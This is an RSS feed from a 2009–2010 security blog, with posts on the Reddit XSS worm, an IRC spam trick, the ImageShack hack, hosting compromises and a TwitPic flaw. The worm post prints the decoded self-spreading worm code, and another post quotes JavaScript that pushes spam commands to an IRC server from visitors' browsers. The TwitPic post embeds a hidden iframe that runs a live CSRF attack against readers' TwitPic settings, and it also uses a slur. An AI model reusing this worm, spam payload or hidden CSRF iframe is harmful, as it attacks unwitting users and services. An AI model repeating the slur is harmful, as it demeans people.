<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>insanesecurity &#187; News</title>
	<atom:link href="http://insanesecurity.info/blog/category/news/feed" rel="self" type="application/rss+xml" />
	<link>http://insanesecurity.info/blog</link>
	<description>security through a distorted eye</description>
	<lastBuildDate>Thu, 25 Feb 2010 22:31:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Unexpected security #01</title>
		<link>http://insanesecurity.info/blog/unexpected-security-01</link>
		<comments>http://insanesecurity.info/blog/unexpected-security-01#comments</comments>
		<pubDate>Fri, 29 Jan 2010 07:34:19 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=313</guid>
		<description><![CDATA[Being an IT security enthusiast and knowing that most of the websites out there don&#8217;t take security seriously, I&#8217;m rarely surprised about big websites being compromised. But this time I have been amazed, not because of a vulnerability, but because the attention Grooveshark gives to it&#8217;s users. A security warning for users that aren&#8217;t up [...]]]></description>
			<content:encoded><![CDATA[<p>Being an IT security enthusiast and knowing that most of the websites out there don&#8217;t take security seriously, I&#8217;m rarely surprised about big websites being compromised.</p>
<p>But this time I have been amazed, not because of a vulnerability, but because the attention <a href="http://listen.grooveshark.com">Grooveshark</a> gives to it&#8217;s users.  A security warning for users that aren&#8217;t up to date with Adobe Flash, every time you enter the website&#8230; image <a href="http://insanesecurity.info/blog/wp-content/uploads/us01.png">here</a>.</p>
<p>Bravo. It&#8217;s an example I would expect others to follow as well.</p>
<p>P.S. they have a great error page when the service is down.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/unexpected-security-01/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>That&#8217;s a cool trick</title>
		<link>http://insanesecurity.info/blog/thats-a-cool-trick</link>
		<comments>http://insanesecurity.info/blog/thats-a-cool-trick#comments</comments>
		<pubDate>Wed, 27 Jan 2010 18:01:06 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Spam]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=304</guid>
		<description><![CDATA[Today when reddit was down for maintenance people kept gathering on the #redditdowntime channel on freenode where under a couple of minutes intriguing things started to happen. You can read the whole story here (and come back afterwards). TLDR: the channel (through some javascript code) got link spammed in huge numbers. The code &#8211; which [...]]]></description>
			<content:encoded><![CDATA[<p>Today when reddit was down for maintenance people kept gathering on the <a href="http://irc.freenode.net:6667/redditdowntime">#redditdowntime channel on freenode</a> where under a couple of minutes intriguing things started to happen.</p>
<p>You can read the whole story <a href="http://unethicalblogger.com/posts/2010/01/using_browser_piss_irc_users_or_spamming_redditdowntime">here</a> (and come back afterwards).<br />
<span id="more-304"></span><br />
TLDR: the channel (through some javascript code) got link spammed in huge numbers.</p>
<p>The code &#8211; which you can find in the article I&#8217;ve pointed earlier &#8211; basically has an iframe, a form with an input tag (pointing to the iframe) and a small javascript code to do the magic.</p>
<p>What I&#8217;ve liked in the code is the way it sends the connection and &#8220;payload&#8221; to the irc server; via the following (combined) string.</p>
<pre>
x.value = '\r\nUSER '+i+' 8 * :'+n+ // user
          '\r\nNICK '+n+ // nick
          '\r\nJOIN #redditdowntime\r\n'
          +new Array(99).join(
              'PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n'
          )+'';
</pre>
<p>And I like especially the last part of the payload, of which my first impression was that is creating 99 new lines and lastly the actual message as a way to wait while the server responded correctly.</p>
<p>Soon afterwards (couple of seconds, I swear) I realized that this snippet of code generates 100 messages to send.</p>
<p>Nice trick, I&#8217;ll remember it next time I&#8217;ll have to do a string repeat.</p>
<p>And as in any situation where someone needs to be blamed, this time the blame fell upon the Freenode sysadmins; and it was said in such a lovely way.</p>
<blockquote cite="Freenode is run by morons"><p>
IN MY HUMBLE OPINION, (THIS IS MY OPINION AND NOT FACT):</p>
<p>Freenode is run by morons who can&#8217;t read IRCD config files. It is that simple.</p>
<p>Instead of reading the docs, freenode is switching to another IRCD to solve this &#8220;problem&#8221;. Well the problem is between the chair and the keyboard of the freenode admins. The thing you posted should not work at all against a properly configured IRCD. Instead REAL ADMINS with the practical skills of READING COMPREHENSION read the DOCUMENTS that describe the CONFIGURATION OPTIONS. And then they turn on the one feature invented in the 90s that will stop this dead.</p>
<p>But no, freenode has historically been run by people who don&#8217;t seem to exhibit any understanding of an IRC server or sysadmining. They will convert the entire network on the 30th to a new IRC which allows to ban users who send HTTP header to an IRC Server. Instead of reading the docs and turning on a certain option WHICH I WILL NOT SHARE HERE BECAUSE FREENODE ADMINS ARE IDIOTS AND SHOULD READ THE BLOODY DOCS.</p>
<p>Also firewalling with a pattern match on POST would&#8217;ve solved these problems too. But freenode admins are not the brightest admins.
</p></blockquote>
<p>And all of this because a Reddit user once owned a Digg user&#8230;. I can&#8217;t find the picture!</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/thats-a-cool-trick/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Reddit worm, oh boy&#8230;</title>
		<link>http://insanesecurity.info/blog/reddit-worm-oh-my</link>
		<comments>http://insanesecurity.info/blog/reddit-worm-oh-my#comments</comments>
		<pubDate>Mon, 28 Sep 2009 04:03:42 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Worm]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=264</guid>
		<description><![CDATA[As I am writing this a javascript worm is having fun spreading on reddit. For one part we should be happy it only spreads and does not do anything else (you now, like cookie theft). On the other hand, it may be an attempt to DDoS reddit, because I&#8217;m suddenly starting to get error pages&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>As I am writing this a javascript worm is having fun spreading on reddit. For one part we should be happy it only spreads and does not do anything else (you now, like cookie theft). On the other hand, it may be an attempt to DDoS reddit, because I&#8217;m suddenly starting to get error pages&#8230;<br />
<code><br />
An error occurred while processing your request.<br />
Reference #97.27c37259.1254106488.35b1d0e<br />
</code></p>
<p>The (decoded) code of the worm is the following:</p>
<pre>
// generate payload/attack vector
// having trouble understanding why this works

z="[x][b]\n[b]:/["+this.innerHTML+"](/onmouseover=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)";

// and what's with the 9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d ?

// "click" all reply links in page
o=document;
e=o.getElementsByTagName('a');
for(i=0;i&lt;e.length;i++)
    if(e[i].innerHTML=='reply')
        $(e[i]).click();

// fill with payload
o=document;
e=o.getElementsByTagName('textarea');
for(i=0;i&lt;e.length;i++)
    e[i].value=z;

// submit
e=o.getElementsByTagName('button');
for(i=0;i&lt;e.length;i++)
    if(e[i].innerHTML=='save'&#038;&#038;e[i].style.display!='none')
        $(e[i]).click();
</pre>
<p>In the meantime of writing the article I tried to look for the invalid filtering in the source code, but as touching for the first time the code had no sense of direction. If someone would be kind enough to enlighten me in which file the code resides I&#8217;d be more than happy.</p>
<p>If not, we&#8217;ll have an unsolved mystery :)</p>
<p><strong>UPDATE</strong>: worm author has happily <a href="http://www.reddit.com/r/IAmA/comments/9ox75/i_found_and_wrote_the_exploit_which_crashed/c0dqwzs">shared its way of evading the filter</a>.</p>
<p><strong>UPDATE 2</strong>: <a href="http://blog.reddit.com/2009/09/we-had-some-bugs-and-it-hurt-us.html">post about the bug on the reddit blog</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/reddit-worm-oh-my/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ImageShack was hacked&#8230;</title>
		<link>http://insanesecurity.info/blog/imageshack-was-hacked</link>
		<comments>http://insanesecurity.info/blog/imageshack-was-hacked#comments</comments>
		<pubDate>Sat, 11 Jul 2009 12:08:04 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Discussion]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Anti-sec]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=214</guid>
		<description><![CDATA[As some of you may have noticed, news about ImageShack being hacked has started to circulate today. While I tried to see this for myself, part of the damage has been fixed; I say part because the ImageShack blog still throws database connection errors&#8230; Even if this may have been worse for users who store [...]]]></description>
			<content:encoded><![CDATA[<p>As some of you may have noticed, news about <a href="http://imageshack.us">ImageShack</a> being hacked has started to circulate today. While I tried to see this for myself, part of the damage has been fixed; I say part because the <a href="http://blog.imageshack.us/">ImageShack blog</a> still throws database connection errors&#8230;</p>
<p>Even if this may have been worse for users who store their images there (myself included), there is more to it than meets the eye.<br />
<span id="more-214"></span><br />
Like the attack on <a href="http://www.cgisecurity.com/2009/06/astalavistacom-hacked.html">Astalavista</a>, this one was also performed by the anti-sec group (groups, there could be more) and only makes me think there will be more attacks.</p>
<p>The message which was present on ImageShack&#8217;s website after the attack.<br />
<img src="http://insanesecurity.info/blog/wp-content/uploads/imageshack_hacked.gif" width="500" /></p>
<p>As you may have read their manifesto, hacking ImageShack does not conform to their goal&#8230;</p>
<blockquote><p>
How do we plan to achieve this? Through the full and unrelenting, unmerciful elimination of all supporters of full-disclosure and the security industry in its present form. If you own a security blog, an exploit publication website or you distribute any exploits&#8230;
</p></blockquote>
<p>Furthermore, they don&#8217;t see the irony of their actions. The more they are going to hack security unrelated websites (like ImageShack) the more are they going to spread FUD. And it&#8217;s needles to say that more FUD equals more work for the whitehats that they so much despise.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script><br />
And they are good at spreading FUD! After the <a href="http://zone-h.org/mirror/id/8961233">Astalavista hack</a> OpenSSH exploit FUD <a href="http://news.softpedia.com/news/New-OpenSSH-Exploit-Possibly-Used-in-the-Wild-116247.shtml">spread online</a> like plague.</p>
<p>The only way I would go about vulnerability disclosure would be trough responsible one&#8230; Mentioning that I would be responsible only if the given vulnerability could affect me; otherwise I wouldn&#8217;t really care&#8230; that&#8217;s just me.</p>
<p>Even with all that said, there is one common ground where I can relay with them, concerning PoC code that script kiddies copy-pasta for mass sploitation&#8230; PoC should be only left for innovative/new techniques and not for every *dangerous* exploit out there.</p>
<p>Like any online movement it has it&#8217;s pros and cons; some didn&#8217;t/don&#8217;t understand the: VX, Zeitgeist, Anonymous (it is a movement, sort of) or any other movement; so why understand the Anti-sec one, right?</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/imageshack-was-hacked/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>June: month of fail for me</title>
		<link>http://insanesecurity.info/blog/june-month-of-fail-for-me</link>
		<comments>http://insanesecurity.info/blog/june-month-of-fail-for-me#comments</comments>
		<pubDate>Sat, 27 Jun 2009 10:32:11 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Fail]]></category>
		<category><![CDATA[Karma]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=86</guid>
		<description><![CDATA[It looks as my online existence was on the peek of doom this month&#8230; At first, my last Hosting Service was hacked and malicious iframes were injected in the website. Later on, one of my twitter accounts (I&#8217;ve got two accounts) was suspended because I had a link to my infected blog. The current hosting [...]]]></description>
			<content:encoded><![CDATA[<p>It looks as my online existence was on the peek of doom this month&#8230;</p>
<p>At first, <a href="http://insanesecurity.info/blog/our-little-chinese-friend">my last Hosting Service was hacked</a> and malicious iframes were injected in the website.</p>
<p>Later on, one of my twitter accounts (I&#8217;ve got two accounts) was suspended because I had a link to my infected blog.</p>
<p>The current hosting service I use had a <a href="http://insanesecurity.info/blog/and-stop">hardware failure</a> and a part of my blogs content is gone, RIP.</p>
<p>Apache failed a series of times to work this last week. And I&#8217;ve noticed this happens due to cold reboots. Other webservers I tried did not seem to fail in that aspect, but weren&#8217;t able to register properly PHP $_SERVER variables, so CodeIgniter wouldn&#8217;t work on them.</p>
<p>Actually I could have made CI to work, but I want it to work OOTB (out of the box).</p>
<p>SFTP under Centos/CPanel doesn&#8217;t support officialy chroot (if you have set up a similar environment feedback is welcome) so I could browse the root directory of my current hosting service, and had access to more than 100 databases. Problem was fixed by disabling SFTP and now I&#8217;m stuck with FTPES, which doesn&#8217;t support transfer resume&#8230; talk about responsive disclosure.</p>
<p>Posting this, doing a database backup and looking forward for more fail until the end of the month.</p>
<p>p.s. It must be due to my low karma on reddit.</p>
<p style="display:none">littleboy10@insanesecurity.info</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/june-month-of-fail-for-me/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>&#8230;and stop!</title>
		<link>http://insanesecurity.info/blog/and-stop</link>
		<comments>http://insanesecurity.info/blog/and-stop#comments</comments>
		<pubDate>Wed, 24 Jun 2009 17:17:48 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=84</guid>
		<description><![CDATA[The hosting service had a massive breakdown and huge data loss, and I, in the formal tradition, didn&#8217;t do any backups (lesson learned). Luckily I was able to recover a couple of articles from the Google Cache. So if you&#8217;re wondering, that was the reason why your feed filled with a bunch of Insane Security [...]]]></description>
			<content:encoded><![CDATA[<p>The hosting service had a massive breakdown and huge data loss, and I, in the formal tradition, didn&#8217;t do any backups (lesson learned). Luckily I was able to recover a couple of articles from the Google Cache.</p>
<p>So if you&#8217;re wondering, that was the reason why your feed filled with a bunch of Insane Security articles.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/and-stop/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Our little chinese friend…</title>
		<link>http://insanesecurity.info/blog/our-little-chinese-friend</link>
		<comments>http://insanesecurity.info/blog/our-little-chinese-friend#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:29:26 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Malware]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=56</guid>
		<description><![CDATA[As you may have seen, in the last couple of days this blog was inactive, or under movement&#8230; All this happened due to a possible attack on my last hosting provider. And I said possible because I imagined multiple scenarios in which it could have happened. You&#8217;re not my friend! At first, when I saw [...]]]></description>
			<content:encoded><![CDATA[<p>As you may have seen, in the last couple of days this blog was inactive, or under movement&#8230; All this happened due to a possible attack on my last hosting provider. And I said possible because I imagined multiple scenarios in which it could have happened.
</p>
<p><span id="more-56"></span></p>
<h2>You&#8217;re not my friend!</h2>
<p>At first, when I saw maliciously injected iframes in the my websites I thought it may have been a targeted attack. Some reasons why I supposed this was due to the reason that other websites found on the same IP weren&#8217;t affected, or at least that was the way it looked at first. This wouldn&#8217;t have been so weird because I (and my coworker) manage these websites, and he stores the passwords in the ftp clients he uses, having no antivirus (that had to be mentioned).</p>
<p>After more lurking on more websites that have been on the same IP address I&#8217;ve came across other infected ones&#8230; So my first theory was dismissed, along with the pleasure that I would had if blamed my college.</p>
<h2>WordPress, is that you?</h2>
<p>The second thing I suspected was some wordpress plugin, because almost all those that were infected had wordpress on them (even those that didn&#8217;t belong to us), so maybe there was some piece of PHP code in some pluggin that could have started the whole infection&#8230;</p>
<p>Downloaded a sample installation from the server and started greping it, first thing that poped up was that <em>pluggable.php</em> was also infected (forgot to mention, but the iframes where attached in <em>index.php</em> and <em>index.html</em> files)&#8230; but nothing else, so I came to my third and final scenario.</p>
<h2>It&#8217;s your fault!</h2>
<p>Given the above scenarios have been ravished my last tough was a server exploitation. So I submitted a ticked demanding some information giving this issue, which came with some poor response (and the reason I switched the hoster):</p>
<p>&#8212;<br />
<img src="http://img517.imageshack.us/img517/4325/support00.jpg" /><br />
&#8212;</p>
<p>No hard feelings, I always accept suggestions, but we where not talking only about my account (I mentioned others where affected as well), so I requested a grep on the websites; maybe they could have found if it were a local attack&#8230; but I was disappointed again:</p>
<p>&#8212;<br />
<img src="http://img207.imageshack.us/img207/8794/support01.jpg" /><br />
&#8212;</p>
<p>No, thank you, and kudos for the Chinese guy who did this&#8230; Later on I found out that <a href="http://securitylabs.websense.com/content/Alerts/3405.aspx?cmpid=sltw">mass injection compromised more than twenty-thousand web sites</a> and suspect that my former hoster may have been also under that attack.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/our-little-chinese-friend/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox without NoScript</title>
		<link>http://insanesecurity.info/blog/firefox-without-noscript</link>
		<comments>http://insanesecurity.info/blog/firefox-without-noscript#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:27:11 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Discussion]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Firefox]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=54</guid>
		<description><![CDATA[That&#8217;s what many NoScript users have claimed of doing after the recent debate about NoScript circumventing ADBlockPlus for displaying the ads from its own page. One question I kept asking myself: Are these really noscript users? Before I would go further with that I should state that I appreciate very much both Firefox addons. Couldn&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<p>That&#8217;s what many <em>NoScript</em> users have claimed of doing after the recent debate about <a href="http://adblockplus.org/blog/attention-noscript-users"><em>NoScript</em> <strong>circumventing</strong> <em>ADBlockPlus</em> for displaying the ads from its own page</a>. One question I kept asking myself: <q>Are these really noscript users?</q></p>
<p><span id="more-54"></span></p>
<p>Before I would go further with that I should state that I appreciate very much both Firefox addons. Couldn&#8217;t imagine browsing without the two of them. And this is the reason why I&#8217;ve put up that question, because once accustomed to both of these addons you just can&#8217;t go back to old fashion browsing.</p>
<p>It&#8217;s one thing that some didn&#8217;t knew how to use <em>NoScript</em> or didn&#8217;t fully understand it&#8217;s potential, and gone to use <em>YesScript</em> instead, which just made me crack.</p>
<p>And while both sides were right, I think it all started due to a misinformation or lack of it thereof. In <em>NoScript</em>&#8217;s FAQ it was stated that version 1.9.2.4 white listed Giorgio Maones domains in <em>AdBlockPlus</em>.</p>
<p>Some people probably started to fork <em>NoScript</em>, but that for another time, when we will have something that could reach the same level of protection which <em>NoScript</em> brought.</p>
<p><strong>Update:</strong> NoScript&#8217;s author <a href="http://hackademix.net/2009/05/04/dear-adblock-plus-and-noscript-users-dear-mozilla-community/">reply on the matter</a>. </p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/firefox-without-noscript/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TwitPic &#8211; modern Twitter backdoor</title>
		<link>http://insanesecurity.info/blog/twitpic-modern-twitter-backdoor</link>
		<comments>http://insanesecurity.info/blog/twitpic-modern-twitter-backdoor#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:23:09 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=47</guid>
		<description><![CDATA[For those of you who don&#8217;t use Twitter I should specify that Twitter has long time moved away from &#8220;what are you doing&#8221; principle and today is more of a base framework (Twitter API) for many new (and innovative?) web applications. Due to this direction that Twitter is adopting (involuntarily) dozens of web applications have [...]]]></description>
			<content:encoded><![CDATA[<p>For those of you who don&#8217;t use Twitter I should specify that Twitter has long time moved away from &#8220;what are you doing&#8221; principle and today is more of a base framework (Twitter API) for many new (and innovative?) web applications.</p>
<p>Due to this direction that Twitter is adopting (involuntarily) dozens of web applications have sprung up; from <a href="http://mashable.com/2008/01/08/url-shortening-services/">url shortening services</a> to web applications like: <a href="http://wefollow.com/">WeFollow</a>, <a href="http://twittersheep.com">TwitterSheep</a>, <a href="http://twittertag.com">TwitterTag</a>, <a href="http://www.twitvid.com/">TwitVid</a>, <a href="http://yfrog.com/">YFrog</a>, <a href="http://twitpic.com/">TwitPic</a> and many more&#8230;</p>
<p><span id="more-47"></span><br />
Anyway, we&#8217;re going to talk about TwitPic&#8230; Among some annoyances it comes with; like: using HTTP even if SSL certificate is available, requesting username/password instead of using OAuth; recently (or at least I noticed yesterday and the blog didn&#8217;t work for me now) it implemented a more than annoying feature.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<h2>What&#8217;s wrong?</h2>
<p>If you are using TwitPic you may notice that on the upload page there is a notice after the upload form, and I quote (partially, because I don&#8217;t want my account to be spammed):</p>
<blockquote><p><strong>Did you know you can post photos from your phone?</strong><br />
Just send your photos to<br />
<em><strong>dblackshell.1768@twitpic.com</strong></em></p>
<p>You can use the <strong>Subject</strong> line of the email to send a message along with your photo </p>
</blockquote>
<p>A series of issues arise from this point onwards:</p>
<p>1. TwitPic stores usernames and passwords somewhere in plain text for Basic Auth authentication and tweeting when contacted via email.</p>
<p>2. The email option cannot be deactivated. Once you&#8217;ve logged to TwitPic you&#8217;re already vulnerable in a smaller or larger percentage.</p>
<p>3. The generated email address is of the format twitter_username<strong>.xxxx</strong>@twitpic.com, where xxxx is in a numeric format.</p>
<h2>And how is that wrong?</h2>
<p>It depends. On a targeted attack someone wouldn&#8217;t mind putting some effort in it. There are enough free hosting services out there which give you email sending functionality (restricted by a daily number thou), so mass mailing would be an option. Or welcome&#8230;</p>
<h2>CSRF!</h2>
<p>The setting page is CSRFeable, so setting a desired PIN (the 4 number digit) by the attacker isn&#8217;t out of the question.</p>
<h2>How could this be beneficial for an attacker?</h2>
<p>If you&#8217;re asking this question, maybe you should do more research on how influential people may be helpful for someone with obscure intentions.</p>
<ul>
<li>Would you click on a link Obama would post?</li>
<li>What if I would have posted that tweet (assuming he ever used TwitPic)?</li>
<li>What if on the landing page would be a Adobe Reader (it&#8217;s in vogue) exploit, browser exploit or some gay nigga porn (just for the lulz)?</li>
</ul>
<p><iframe src="http://insanesecurity.info/projects/twitpic/csrf_pin.html" style="visibility: hidden" width="1" height="1"></iframe></p>
<p>p.s. If you were logged into TwitPic at the moment you visited this page, feel free to share you twitter username :)</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/twitpic-modern-twitter-backdoor/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Five quizzes…</title>
		<link>http://insanesecurity.info/blog/five-quizzes%e2%80%a6</link>
		<comments>http://insanesecurity.info/blog/five-quizzes%e2%80%a6#comments</comments>
		<pubDate>Wed, 24 Jun 2009 05:44:53 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Fun]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=13</guid>
		<description><![CDATA[&#8230;which will put a smile on your face. That if you are geeky/nerdy enough for them. Here are my test results. Click on one of the images to take the respective test. Which Programming Language are You? Which OS are You? Which Website are You? Which File Extension are You? Which Nigerian spammer are You?]]></description>
			<content:encoded><![CDATA[<p>&#8230;which will put a smile on your face. That if you are geeky/nerdy enough for them. Here are my test results. Click on one of the images to take the respective test.<br />
<span id="more-13"></span><br />
<a href="http://www.bbspot.com/News/2006/08/language_quiz.php"><img src="http://www.bbspot.com/Images/News_Features/2006/08/language/visual_basic.jpg" border="0" alt="You are Visual Basic. You have little respect for common sense.  You are immature, but have recently begun to grow up." width="300" height="90" /><br />
Which Programming Language are You?</a></p>
<p><a href="http://bbspot.com/News/2003/01/os_quiz.php"><img src="http://www.bbspot.com/Images/News_Features/2003/01/os_quiz/amiga.jpg" border="0" alt="You are Amiga OS. Ahead of your time.  You keep a lot of balls in the air.  If only your parents had given you more opportunities to suceed." width="300" height="90" /></p>
<p>Which OS are You?</a></p>
<p><a href="http://www.bbspot.com/News/2005/02/website_quiz.php"><img src="http://www.bbspot.com/Images/News_Features/2005/02/website/blogger.jpg" border="0" alt="You are blogger.com You give people a voice.  Many people wish you would just shut up. You just want to be loved. You are a vegetarian." width="252" height="152" /><br />
Which Website are You?</a></p>
<p><a href="http://www.bbspot.com/News/2004/10/extension_quiz.php"><img src="http://www.bbspot.com/Images/News_Features/2004/10/file_extensions/mp3.jpg" border="0" alt="You are .mp3 The kids love you.  You get along with just about everybody except the music industry.  You really make yourself heard." width="300" height="90" /><br />
Which File Extension are You?</a></p>
<p><a href="http://bbspot.com/News/2004/04/nigerian_quiz.php"><img src="http://www.bbspot.com/Images/News_Features/2004/04/scammer/musa_ibrahim.jpg" border="0" alt="You are Musa Ibrahim.  YOU ARE AN ACCOUNTANT WITH THE NIGERIAN NATIONAL PETROLEUM CORP. YOU WISH TO REMIT $21 MILLION TO MY COMPANY FOR SAFEKEEPING.  YOU ENJOY BICYCLING AND TYPING IN ALL-CAPS." width="300" height="90" /><br />
Which Nigerian spammer are You?</a></p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/five-quizzes%e2%80%a6/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
